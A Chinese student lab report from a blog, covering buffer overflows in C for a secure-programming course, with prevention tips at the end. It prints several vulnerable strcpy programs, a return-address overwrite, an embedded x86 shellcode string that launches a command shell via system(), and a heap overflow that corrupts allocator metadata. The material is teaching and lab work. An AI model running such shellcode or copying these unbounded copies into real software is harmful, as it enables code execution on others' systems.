首页 > 编程语言 >安全编程技术实验一

安全编程技术实验一

时间:2022-11-26 17:14:26浏览次数:39  
标签:x45 fun1 buffer char 安全 实验 编程技术 include 溢出

缓冲区溢出

一、实验目的

该实验为验证性实验,实验目的如下:
1、掌握缓冲区溢出的基本原理。
2、掌握预防缓冲区溢出的方法,并且在实际编程中严格遵循这些方法。

二、实验内容及步骤

1、理解缓冲区溢出的基本原理。
2、利用函数strcpy()编程实现一个简单的缓冲区溢出实例。
3、总结预防缓冲区溢出的方法。

三、实验要求

1、本实验一人一组,编程语言为C。
2、要求学生掌握缓冲区溢出的基本原理,并熟练掌握C语言编程。
3、要求学生能够编程实现一个简单的缓冲区溢出实例。

四、实验运行截图





五、实验代码

//代码1:
#include <stdio.h> 
#include <string.h> 
void fun1(char *input) 
{ 
char buffer[10]; 
strcpy(buffer,input); 
printf("Call fun1,buffer=%s\n",buffer); 
} 
int main(int argc, char *argv[]) 
{ 
fun1(argv[1]); 
return 0; 
}
//代码2:
#include <stdio.h> 
#include <string.h> 
void fun1(char *input) 
{ 
char buffer[10]; 
strcpy(buffer,input); 
printf("Call fun1,buffer=%s\n",buffer); 
} 
void fun2() 
{ 
printf("Call fun2"); 
} 
int main(int argc, char *argv[]) 
{ 
printf("Address Of fun2=%p\n",fun2); 
fun1(argv[1]); 
return 0; 
}
//代码3:
#include <stdio.h> 
#include <string.h> 
void fun1(char *input) 
{ 
	char buffer[10]; 	
	strcpy(buffer,input); 
	printf("Call fun1,buffer=%s\n",buffer); 
} 
void fun2() 
{ 
	printf("Call fun2"); 
} 
int main(int argc, char *argv[]) 
{ 
	printf("Address Of fun2=%p\n",fun2); 
	fun1("abcdefghijklmnopqrstuvwxyz12\xBD\x12\x40"); 
	return 0; 
}
//代码4:
#include <stdio.h> 
#include <string.h> 
void fun1(char *input) 
{ 
char buffer[10]; 
strcpy(buffer,input); 
printf("Call fun1,buffer=%s\n",buffer); 
} 
int main(int argc, char *argv[]) 
{ 
char buffer[] = "abcdefghijklmnopqrstuvwxyz12\x12\x45\xfa\x7f" 
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53" "\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6" 	
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA" "\x77\x1d\x80\x7c" "\x52\x8D\x45\xF4\x50\xFF\x55\xF0" "\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E" "\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4" "\x50\xB8" "\xc7\x93\xbf\x77" "\xFF\xD0" "\x83\xC4\x12\x5D"; 
fun1(buffer); 
return 0; 
}
//代码5:
#include <stdio.h> 
#include <string.h> 
#include <stdlib.h> 
main (int argc, char *argv[]) 
{ 
char *buffer1, * buffer2; 
char str[] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x03\x00\x05\x00\x00\x09"; 
buffer1= (char*)malloc (32); 
buffer2= (char*)malloc (16); 
/*向buffer1中复制,多复制6字节*/ 
memcpy (buffer1, str, 32+6); 
free (buffer1); 
free (buffer2); 
return 0; 
}	

六、实验总结

在本次实验中我对于缓冲区溢出的知识有了一定的认识,跟着PPT尝试了栈溢出和堆溢出的实践操作,按照整数溢出的方式,学习自行编码尝试了用溢出攻击来修改密码。同时也通过学习,了解了一些关于避免缓冲区溢出的知识如使用封装的安全函数,并限定函数中内容大小等方式。

七、思考题

1.不要把用户的输入作为参数传到格式化字符串处理函数中,例如,printf("%s", argv[1])。
2.字符串处理避免使用strcpy,strcat,sprintf,gets。应该使用strncpy,strncat,snprintf。strlcpy和strlcat都是NULL结尾。
3.检查文件路径的长度,不要超过系统允许的最大值。

标签:x45,fun1,buffer,char,安全,实验,编程技术,include,溢出
From: https://www.cnblogs.com/daijun123/p/16927746.html

相关文章

  • 安全编程技术实验二
    Windows系统中的访问控制一、实验目的该实验为验证性实验,实验目的如下:1.掌握访问控制列表的基本原理。2.学会通过编程实现更改Windows操作系统中文件或目录的访问控制......
  • 实验5 继承和多态
    1.实验4pets.hpp1#include<iostream>2#include<string>3usingnamespacestd;4classMachinePets{5private:6stringnickname;7......
  • 实验5-类的继承
    1.pets.hpp.1#pragmaonce2#include<iostream>3#include<string>45usingnamespacestd;67classMachinePets{8public:9MachinePets......
  • windows系列---【安全清理电脑C盘,释放空间】
    1.使用windows工具释放磁盘空间 2.删除缓存使用win+R,输入"%temp%",回车确认,删除所有文件。 3.使用存储感知清理空间 4.卸载没有用的软件......
  • GaussDB拿下的安全认证CC EAL4+究竟有多难?
    摘要:近日,经过全球知名独立认证机构SGSBrightsight实验室的安全评估,华为云GaussDB企业级分布式数据库内核获得全球权威信息技术安全性评估标准CCEAL4+级别认证本文分享自......
  • GaussDB拿下的安全认证CC EAL4+究竟有多难?
    摘要:近日,经过全球知名独立认证机构SGSBrightsight实验室的安全评估,华为云GaussDB企业级分布式数据库内核获得全球权威信息技术安全性评估标准CCEAL4+级别认证本文分享自华......
  • 实验五:全连接神经网络手写数字识别实验
    |班级链接|https://edu.cnblogs.com/campus/czu/classof2020BigDataClass3-MachineLearning||作业链接|https://edu.cnblogs.com/campus/czu/classof2020BigDataClass3-Ma......
  • 实验四
    任务一#include<stdio.h>#defineN4intmain(){inta[N]={1,9,8,4};charb[N]={'1','9','8','4'};inti;printf("sizeof(int)=%d\n",......
  • oop 实验5 继承和多态
    task1_1程序源码task1_1.cpp1#include<iostream>2#include<map>3usingnamespacestd;4intmain(){5map<int,char>grade_dict{{1,'A'},{2,......
  • 实验5
    实验任务4:pets.hpp:#include<iostream>#include<string.h>usingnamespacestd;classMachinePets{private:stringnickname;public:MachinePets(conststr......